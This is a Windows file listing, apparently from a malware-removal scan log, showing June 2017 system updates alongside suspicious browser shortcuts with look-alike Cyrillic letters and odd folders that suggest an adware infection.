2017-06-29 16:06 - 2017-06-29 16:06 - 00054784 _____ (MingW-W64 Project. All rights reserved.) C:\Windows\libwinpthread-1.dll
2017-06-29 16:06 - 2017-06-29 16:06 - 00002166 ___RS C:\Users\Uzivatel\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Intеrnet Ехрlorer.lnk
2017-06-29 16:06 - 2017-06-29 16:06 - 00002111 ___RS C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Gооgle Chrоmе.lnk
2017-06-29 16:06 - 2017-06-29 16:06 - 00002009 ___RS C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Моzillа Firefoх.lnk
2017-06-29 16:06 - 2017-06-29 16:06 - 00001921 ___RS C:\Users\Public\Desktop\Моzillа Firefoх.lnk
2017-06-29 16:06 - 2017-06-29 16:06 - 00001916 ___RS C:\Users\Public\Desktop\Gооglе Chrоme.lnk
2017-06-29 16:06 - 2017-06-29 16:06 - 00000000 ____D C:\Windows\Azart
2017-06-29 16:06 - 2017-06-29 16:06 - 00000000 ____D C:\Program Files\0KIQQIA15D
2017-06-29 16:05 - 2017-06-29 16:05 - 00001118 _____ C:\Users\Uzivatel\Desktop\Играть в Dragon Knight.lnk
2017-06-28 14:38 - 2017-06-28 14:38 - 00051629 _____ C:\Windows\uninstaller.dat
2017-06-24 14:30 - 2017-06-24 14:43 - 00000000 ____D C:\Users\Uzivatel\Documents\Argo
2017-06-20 08:42 - 2017-06-20 08:42 - 00196520 _____ C:\Windows\system32\Drivers\cfidsk.sys
2017-06-16 16:56 - 2017-06-02 10:28 - 02317824 _____ (Microsoft Corporation) C:\Windows\system32\tquery.dll
2017-06-16 16:56 - 2017-06-02 10:28 - 02222080 _____ (Microsoft Corporation) C:\Windows\system32\mssrch.dll
2017-06-16 16:56 - 2017-06-02 10:10 - 00733696 _____ (Microsoft Corporation) C:\Windows\HelpPane.exe
2017-06-16 16:56 - 2017-06-02 10:09 - 01549824 _____ (Microsoft Corporation) C:\Windows\SysWOW64\tquery.dll
2017-06-16 16:56 - 2017-06-02 10:09 - 01400320 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mssrch.dll
2017-06-16 16:56 - 2017-05-14 22:19 - 25738752 _____ (Microsoft Corporation) C:\Windows\system32\mshtml.dll
2017-06-16 16:56 - 2017-05-14 21:55 - 05975040 _____ (Microsoft Corporation) C:\Windows\system32\jscript9.dll
2017-06-16 16:56 - 2017-05-14 21:11 - 20274688 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mshtml.dll
2017-06-16 16:56 - 2017-05-14 20:54 - 15252992 _____ (Microsoft Corporation) C:\Windows\system32\ieframe.dll
2017-06-16 16:56 - 2017-05-14 20:52 - 03240960 _____ (Microsoft Corporation) C:\Windows\system32\wininet.dll
2017-06-16 16:56 - 2017-05-14 20:44 - 04549120 _____ (Microsoft Corporation) C:\Windows\SysWOW64\jscript9.dll
2017-06-16 16:56 - 2017-05-14 20:30 - 13664768 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ieframe.dll
2017-06-16 16:56 - 2017-05-14 20:15 - 02767872 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wininet.dll
2017-06-16 16:56 - 2017-05-12 20:26 - 05547752 _____ (Microsoft Corporation) C:\Windows\system32\ntoskrnl.exe
2017-06-16 16:56 - 2017-05-12 20:22 - 00806912 _____ (Microsoft Corporation) C:\Windows\system32\usp10.dll
2017-06-16 16:56 - 2017-05-12 20:07 - 04001000 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ntkrnlpa.exe
2017-06-16 16:56 - 2017-05-12 20:07 - 03945704 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ntoskrnl.exe
2017-06-16 16:56 - 2017-05-12 19:52 - 03222528 _____ (Microsoft Corporation) C:\Windows\system32\win32k.sys
2017-06-16 16:56 - 2017-05-10 17:29 - 14183936 _____ (Microsoft Corporation) C:\Windows\system32\shell32.dll
2017-06-16 16:56 - 2017-05-10 17:14 - 02651136 _____ (Microsoft Corporation) C:\Windows\system32\wuaueng.dll
2017-06-16 16:56 - 2017-05-10 17:12 - 12880896 _____ (Microsoft Corporation) C:\Windows\SysWOW64\shell32.dll
2017-06-16 16:56 - 2017-05-09 17:30 - 00757248 _____ (Microsoft Corporation) C:\Windows\system32\win32spl.dll
2017-06-16 16:56 - 2017-04-28 00:50 - 03550208 _____ (Microsoft Corporation) C:\Windows\SysWOW64\D3DCompiler_47.dll
2017-06-16 16:56 - 2017-04-12 15:05 - 04296704 _____ (Microsoft Corporation) C:\Windows\system32\D3DCompiler_47.dll
2017-06-16 16:55 - 2017-06-02 10:28 - 00778240 _____ (Microsoft Corporation) C:\Windows\system32\mssvp.dll
2017-06-16 16:55 - 2017-06-02 10:28 - 00491520 _____ (Microsoft Corporation) C:\Windows\system32\mssph.dll
2017-06-16 16:55 - 2017-06-02 10:28 - 00288256 _____ (Microsoft Corporation) C:\Windows\system32\mssphtb.dll
2017-06-16 16:55 - 2017-06-02 10:28 - 00115200 _____ (Microsoft Corporation) C:\Windows\system32\mssitlb.dll
2017-06-16 16:55 - 2017-06-02 10:28 - 00099840 _____ (Microsoft Corporation) C:\Windows\system32\mssprxy.dll
2017-06-16 16:55 - 2017-06-02 10:28 - 00075264 _____ (Microsoft Corporation) C:\Windows\system32\msscntrs.dll
2017-06-16 16:55 - 2017-06-02 10:28 - 00014336 _____ (Microsoft Corporation) C:\Windows\system32\msshooks.dll
2017-06-16 16:55 - 2017-06-02 10:11 - 00591872 _____ (Microsoft Corporation) C:\Windows\system32\SearchIndexer.exe
2017-06-16 16:55 - 2017-06-02 10:11 - 00249856 _____ (Microsoft Corporation) C:\Windows\system32\SearchProtocolHost.exe
2017-06-16 16:55 - 2017-06-02 10:10 - 00113664 _____ (Microsoft Corporation) C:\Windows\system32\SearchFilterHost.exe
2017-06-16 16:55 - 2017-06-02 10:09 - 00666624 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mssvp.dll
2017-06-16 16:55 - 2017-06-02 10:09 - 00337408 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mssph.dll
2017-06-16 16:55 - 2017-06-02 10:09 - 00197120 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mssphtb.dll
2017-06-16 16:55 - 2017-06-02 10:09 - 00104448 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mssitlb.dll
2017-06-16 16:55 - 2017-06-02 10:09 - 00059392 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msscntrs.dll
2017-06-16 16:55 - 2017-06-02 10:09 - 00034816 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mssprxy.dll
2017-06-16 16:55 - 2017-06-02 09:58 - 00427520 _____ (Microsoft Corporation) C:\Windows\SysWOW64\SearchIndexer.exe
2017-06-16 16:55 - 2017-06-02 09:58 - 00164352 _____ (Microsoft Corporation) C:\Windows\SysWOW64\SearchProtocolHost.exe
2017-06-16 16:55 - 2017-06-02 09:57 - 00086528 _____ (Microsoft Corporation) C:\Windows\SysWOW64\SearchFilterHost.exe
2017-06-16 16:55 - 2017-06-02 09:57 - 00009728 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msshooks.dll
2017-06-16 16:55 - 2017-05-21 06:28 - 00154856 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\ksecpkg.sys
2017-06-16 16:55 - 2017-05-21 06:28 - 00095464 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\ksecdd.sys
2017-06-16 16:55 - 2017-05-21 06:24 - 01460736 _____ (Microsoft Corporation) C:\Windows\system32\lsasrv.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 01212928 _____ (Microsoft Corporation) C:\Windows\system32\rpcrt4.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00730624 _____ (Microsoft Corporation) C:\Windows\system32\kerberos.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00690688 _____ (Microsoft Corporation) C:\Windows\system32\adtschema.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00463872 _____ (Microsoft Corporation) C:\Windows\system32\certcli.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00345600 _____ (Microsoft Corporation) C:\Windows\system32\schannel.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00316928 _____ (Microsoft Corporation) C:\Windows\system32\msv1_0.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00312320 _____ (Microsoft Corporation) C:\Windows\system32\ncrypt.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00210432 _____ (Microsoft Corporation) C:\Windows\system32\wdigest.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00190464 _____ (Microsoft Corporation) C:\Windows\system32\rpchttp.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00146432 _____ (Microsoft Corporation) C:\Windows\system32\msaudite.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00135680 _____ (Microsoft Corporation) C:\Windows\system32\sspicli.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00123904 _____ (Microsoft Corporation) C:\Windows\system32\bcrypt.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00086528 _____ (Microsoft Corporation) C:\Windows\system32\TSpkg.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00060416 _____ (Microsoft Corporation) C:\Windows\system32\msobjs.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00043520 _____ (Microsoft Corporation) C:\Windows\system32\cryptbase.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00028672 _____ (Microsoft Corporation) C:\Windows\system32\sspisrv.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00028160 _____ (Microsoft Corporation) C:\Windows\system32\secur32.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00022016 _____ (Microsoft Corporation) C:\Windows\system32\credssp.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00690688 _____ (Microsoft Corporation) C:\Windows\SysWOW64\adtschema.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00666112 _____ (Microsoft Corporation) C:\Windows\SysWOW64\rpcrt4.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00553472 _____ (Microsoft Corporation) C:\Windows\SysWOW64\kerberos.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00342528 _____ (Microsoft Corporation) C:\Windows\SysWOW64\certcli.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00261120 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msv1_0.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00254464 _____ (Microsoft Corporation) C:\Windows\SysWOW64\schannel.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00223232 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ncrypt.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00172032 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wdigest.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00146432 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msaudite.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00141312 _____ (Microsoft Corporation) C:\Windows\SysWOW64\rpchttp.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00096768 _____ (Microsoft Corporation) C:\Windows\SysWOW64\sspicli.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00082944 _____ (Microsoft Corporation) C:\Windows\SysWOW64\bcrypt.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00065536 _____ (Microsoft Corporation) C:\Windows\SysWOW64\TSpkg.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00060416 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msobjs.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00022016 _____ (Microsoft Corporation) C:\Windows\SysWOW64\secur32.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00017408 _____ (Microsoft Corporation) C:\Windows\SysWOW64\credssp.dll
2017-06-16 16:55 - 2017-05-21 05:55 - 00064000 _____ (Microsoft Corporation) C:\Windows\system32\auditpol.exe
2017-06-16 16:55 - 2017-05-21 05:48 - 00291328 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\mrxsmb10.sys
2017-06-16 16:55 - 2017-05-21 05:48 - 00159744 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\mrxsmb.sys
2017-06-16 16:55 - 2017-05-21 05:48 - 00129536 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\mrxsmb20.sys
2017-06-16 16:55 - 2017-05-21 05:47 - 00030720 _____ (Microsoft Corporation) C:\Windows\system32\lsass.exe
2017-06-16 16:55 - 2017-05-21 05:46 - 00050176 _____ (Microsoft Corporation) C:\Windows\SysWOW64\auditpol.exe
2017-06-16 16:55 - 2017-05-21 05:42 - 00036352 _____ (Microsoft Corporation) C:\Windows\SysWOW64\cryptbase.dll
2017-06-16 16:55 - 2017-05-16 20:19 - 00394448 _____ (Microsoft Corporation) C:\Windows\system32\iedkcs32.dll
2017-06-16 16:55 - 2017-05-16 19:35 - 00346320 _____ (Microsoft Corporation) C:\Windows\SysWOW64\iedkcs32.dll
2017-06-16 16:55 - 2017-05-14 22:46 - 02724864 _____ (Microsoft Corporation) C:\Windows\system32\mshtml.tlb
2017-06-16 16:55 - 2017-05-14 22:46 - 00004096 _____ (Microsoft Corporation) C:\Windows\system32\ieetwcollectorres.dll
2017-06-16 16:55 - 2017-05-14 22:28 - 00066560 _____ (Microsoft Corporation) C:\Windows\system32\iesetup.dll
2017-06-16 16:55 - 2017-05-14 22:27 - 00417792 _____ (Microsoft Corporation) C:\Windows\system32\html.iec
2017-06-16 16:55 - 2017-05-14 22:27 - 00088064 _____ (Microsoft Corporation) C:\Windows\system32\MshtmlDac.dll
2017-06-16 16:55 - 2017-05-14 22:27 - 00048640 _____ (Microsoft Corporation) C:\Windows\system32\ieetwproxystub.dll
2017-06-16 16:55 - 2017-05-14 22:26 - 00576512 _____ (Microsoft Corporation) C:\Windows\system32\vbscript.dll
2017-06-16 16:55 - 2017-05-14 22:24 - 02899456 _____ (Microsoft Corporation) C:\Windows\system32\iertutil.dll
2017-06-16 16:55 - 2017-05-14 22:17 - 00054784 _____ (Microsoft Corporation) C:\Windows\system32\jsproxy.dll
2017-06-16 16:55 - 2017-05-14 22:16 - 00034304 _____ (Microsoft Corporation) C:\Windows\system32\iernonce.dll
2017-06-16 16:55 - 2017-05-14 22:12 - 00615936 _____ (Microsoft Corporation) C:\Windows\system32\ieui.dll
2017-06-16 16:55 - 2017-05-14 22:10 - 00817664 _____ (Microsoft Corporation) C:\Windows\system32\jscript.dll
2017-06-16 16:55 - 2017-05-14 22:10 - 00814080 _____ (Microsoft Corporation) C:\Windows\system32\jscript9diag.dll
2017-06-16 16:55 - 2017-05-14 22:10 - 00144384 _____ (Microsoft Corporation) C:\Windows\system32\ieUnatt.exe
2017-06-16 16:55 - 2017-05-14 22:10 - 00116224 _____ (Microsoft Corporation) C:\Windows\system32\ieetwcollector.exe
2017-06-16 16:55 - 2017-05-14 22:01 - 00968704 _____ (Microsoft Corporation) C:\Windows\system32\MsSpellCheckingFacility.exe
2017-06-16 16:55 - 2017-05-14 21:57 - 00489984 _____ (Microsoft Corporation) C:\Windows\system32\dxtmsft.dll
2017-06-16 16:55 - 2017-05-14 21:48 - 00077824 _____ (Microsoft Corporation) C:\Windows\system32\JavaScriptCollectionAgent.dll
2017-06-16 16:55 - 2017-05-14 21:47 - 00087552 _____ (Microsoft Corporation) C:\Windows\system32\tdc.ocx
2017-06-16 16:55 - 2017-05-14 21:46 - 00107520 _____ (Microsoft Corporation) C:\Windows\system32\inseng.dll
2017-06-16 16:55 - 2017-05-14 21:42 - 00199680 _____ (Microsoft Corporation) C:\Windows\system32\msrating.dll
2017-06-16 16:55 - 2017-05-14 21:41 - 00092160 _____ (Microsoft Corporation) C:\Windows\system32\mshtmled.dll
2017-06-16 16:55 - 2017-05-14 21:38 - 00315392 _____ (Microsoft Corporation) C:\Windows\system32\dxtrans.dll
2017-06-16 16:55 - 2017-05-14 21:37 - 02724864 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mshtml.tlb
2017-06-16 16:55 - 2017-05-14 21:36 - 00152064 _____ (Microsoft Corporation) C:\Windows\system32\occache.dll
2017-06-16 16:55 - 2017-05-14 21:23 - 00262144 _____ (Microsoft Corporation) C:\Windows\system32\webcheck.dll
2017-06-16 16:55 - 2017-05-14 21:23 - 00062464 _____ (Microsoft Corporation) C:\Windows\SysWOW64\iesetup.dll
2017-06-16 16:55 - 2017-05-14 21:22 - 00499200 _____ (Microsoft Corporation) C:\Windows\SysWOW64\vbscript.dll
2017-06-16 16:55 - 2017-05-14 21:22 - 00341504 _____ (Microsoft Corporation) C:\Windows\SysWOW64\html.iec
2017-06-16 16:55 - 2017-05-14 21:22 - 00047616 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ieetwproxystub.dll
2017-06-16 16:55 - 2017-05-14 21:21 - 00064000 _____ (Microsoft Corporation) C:\Windows\SysWOW64\MshtmlDac.dll
2017-06-16 16:55 - 2017-05-14 21:20 - 00725504 _____ (Microsoft Corporation) C:\Windows\system32\ie4uinit.exe
2017-06-16 16:55 - 2017-05-14 21:19 - 00806912 _____ (Microsoft Corporation) C:\Windows\system32\msfeeds.dll
2017-06-16 16:55 - 2017-05-14 21:18 - 01359360 _____ (Microsoft Corporation) C:\Windows\system32\mshtmlmedia.dll
2017-06-16 16:55 - 2017-05-14 21:17 - 02132992 _____ (Microsoft Corporation) C:\Windows\system32\inetcpl.cpl
2017-06-16 16:55 - 2017-05-14 21:16 - 02290176 _____ (Microsoft Corporation) C:\Windows\SysWOW64\iertutil.dll
2017-06-16 16:55 - 2017-05-14 21:15 - 00047104 _____ (Microsoft Corporation) C:\Windows\SysWOW64\jsproxy.dll
2017-06-16 16:55 - 2017-05-14 21:14 - 00030720 _____ (Microsoft Corporation) C:\Windows\SysWOW64\iernonce.dll
2017-06-16 16:55 - 2017-05-14 21:12 - 00476160 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ieui.dll
2017-06-16 16:55 - 2017-05-14 21:11 - 00115712 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ieUnatt.exe
2017-06-16 16:55 - 2017-05-14 21:10 - 00663552 _____ (Microsoft Corporation) C:\Windows\SysWOW64\jscript.dll
2017-06-16 16:55 - 2017-05-14 21:10 - 00620032 _____ (Microsoft Corporation) C:\Windows\SysWOW64\jscript9diag.dll
2017-06-16 16:55 - 2017-05-14 21:02 - 00416256 _____ (Microsoft Corporation) C:\Windows\SysWOW64\dxtmsft.dll
2017-06-16 16:55 - 2017-05-14 20:57 - 00073216 _____ (Microsoft Corporation) C:\Windows\SysWOW64\tdc.ocx
2017-06-16 16:55 - 2017-05-14 20:57 - 00060416 _____ (Microsoft Corporation) C:\Windows\SysWOW64\JavaScriptCollectionAgent.dll
2017-06-16 16:55 - 2017-05-14 20:56 - 00091136 _____ (Microsoft Corporation) C:\Windows\SysWOW64\inseng.dll
2017-06-16 16:55 - 2017-05-14 20:53 - 00168960 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msrating.dll
2017-06-16 16:55 - 2017-05-14 20:52 - 00076288 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mshtmled.dll
2017-06-16 16:55 - 2017-05-14 20:50 - 00279040 _____ (Microsoft Corporation) C:\Windows\SysWOW64\dxtrans.dll
2017-06-16 16:55 - 2017-05-14 20:49 - 00130048 _____ (Microsoft Corporation) C:\Windows\SysWOW64\occache.dll
2017-06-16 16:55 - 2017-05-14 20:42 - 00230400 _____ (Microsoft Corporation) C:\Windows\SysWOW64\webcheck.dll
2017-06-16 16:55 - 2017-05-14 20:40 - 00693248 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msfeeds.dll
2017-06-16 16:55 - 2017-05-14 20:39 - 02057216 _____ (Microsoft Corporation) C:\Windows\SysWOW64\inetcpl.cpl
2017-06-16 16:55 - 2017-05-14 20:38 - 01155072 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mshtmlmedia.dll
2017-06-16 16:55 - 2017-05-14 20:37 - 01544704 _____ (Microsoft Corporation) C:\Windows\system32\urlmon.dll
2017-06-16 16:55 - 2017-05-14 20:27 - 00800768 _____ (Microsoft Corporation) C:\Windows\system32\ieapfltr.dll
2017-06-16 16:55 - 2017-05-14 20:11 - 01314816 _____ (Microsoft Corporation) C:\Windows\SysWOW64\urlmon.dll
2017-06-16 16:55 - 2017-05-14 20:11 - 00710144 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ieapfltr.dll
2017-06-16 16:55 - 2017-05-12 20:27 - 00631176 _____ (Microsoft Corporation) C:\Windows\system32\winresume.efi
2017-06-16 16:55 - 2017-05-12 20:26 - 00706792 _____ (Microsoft Corporation) C:\Windows\system32\winload.efi
2017-06-16 16:55 - 2017-05-12 20:26 - 00382696 _____ (Adobe Systems Incorporated) C:\Windows\system32\atmfd.dll
2017-06-16 16:55 - 2017-05-12 20:24 - 01732864 _____ (Microsoft Corporation) C:\Windows\system32\ntdll.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 01163264 _____ (Microsoft Corporation) C:\Windows\system32\kernel32.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00880640 _____ (Microsoft Corporation) C:\Windows\system32\advapi32.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00503808 _____ (Microsoft Corporation) C:\Windows\system32\srcore.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00419840 _____ (Microsoft Corporation) C:\Windows\system32\KernelBase.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00405504 _____ (Microsoft Corporation) C:\Windows\system32\gdi32.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00362496 _____ (Microsoft Corporation) C:\Windows\system32\wow64win.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00243712 _____ (Microsoft Corporation) C:\Windows\system32\wow64.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00215552 _____ (Microsoft Corporation) C:\Windows\system32\winsrv.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00100864 _____ (Microsoft Corporation) C:\Windows\system32\fontsub.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00063488 _____ (Microsoft Corporation) C:\Windows\system32\setbcdlocale.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00059904 _____ (Microsoft Corporation) C:\Windows\system32\appidapi.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00050176 _____ (Microsoft Corporation) C:\Windows\system32\srclient.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00046080 _____ (Adobe Systems) C:\Windows\system32\atmlib.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00044032 _____ (Microsoft Corporation) C:\Windows\system32\csrsrv.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00041472 _____ (Microsoft Corporation) C:\Windows\system32\lpk.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00034816 _____ (Microsoft Corporation) C:\Windows\system32\appidsvc.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00016384 _____ (Microsoft Corporation) C:\Windows\system32\ntvdm64.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00014336 _____ (Microsoft Corporation) C:\Windows\system32\dciman32.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00013312 _____ (Microsoft Corporation) C:\Windows\system32\wow64cpu.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00006656 _____ (Microsoft Corporation) C:\Windows\system32\apisetschema.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00006144 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-security-base-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00005120 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-file-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00004608 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-threadpool-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00004608 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-processthreads-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00004096 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-sysinfo-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00004096 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-synch-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00004096 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-localregistry-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00004096 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-localization-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003584 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-rtlsupport-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003584 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-processenvironment-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003584 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-namedpipe-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003584 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-misc-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003584 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-memory-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003584 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-libraryloader-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003584 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-heap-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003072 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-xstate-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003072 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-util-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003072 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-string-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003072 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-profile-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003072 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-io-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003072 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-interlocked-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003072 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-handle-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003072 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-fibers-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003072 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-errorhandling-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003072 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-delayload-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003072 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-debug-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003072 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-datetime-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003072 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-console-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:07 - 00308456 _____ (Adobe Systems Incorporated) C:\Windows\SysWOW64\atmfd.dll
2017-06-16 16:55 - 2017-05-12 20:04 - 01314112 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ntdll.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 01114112 _____ (Microsoft Corporation) C:\Windows\SysWOW64\kernel32.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00644096 _____ (Microsoft Corporation) C:\Windows\SysWOW64\advapi32.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00629760 _____ (Microsoft Corporation) C:\Windows\SysWOW64\usp10.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00313344 _____ (Microsoft Corporation) C:\Windows\SysWOW64\gdi32.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00275456 _____ (Microsoft Corporation) C:\Windows\SysWOW64\KernelBase.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00070656 _____ (Microsoft Corporation) C:\Windows\SysWOW64\fontsub.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00050688 _____ (Microsoft Corporation) C:\Windows\SysWOW64\appidapi.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00043008 _____ (Microsoft Corporation) C:\Windows\SysWOW64\srclient.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00025600 _____ (Microsoft Corporation) C:\Windows\SysWOW64\lpk.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00010240 _____ (Microsoft Corporation) C:\Windows\SysWOW64\dciman32.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00006656 _____ (Microsoft Corporation) C:\Windows\SysWOW64\apisetschema.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00005120 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-file-l1-1-0.dll
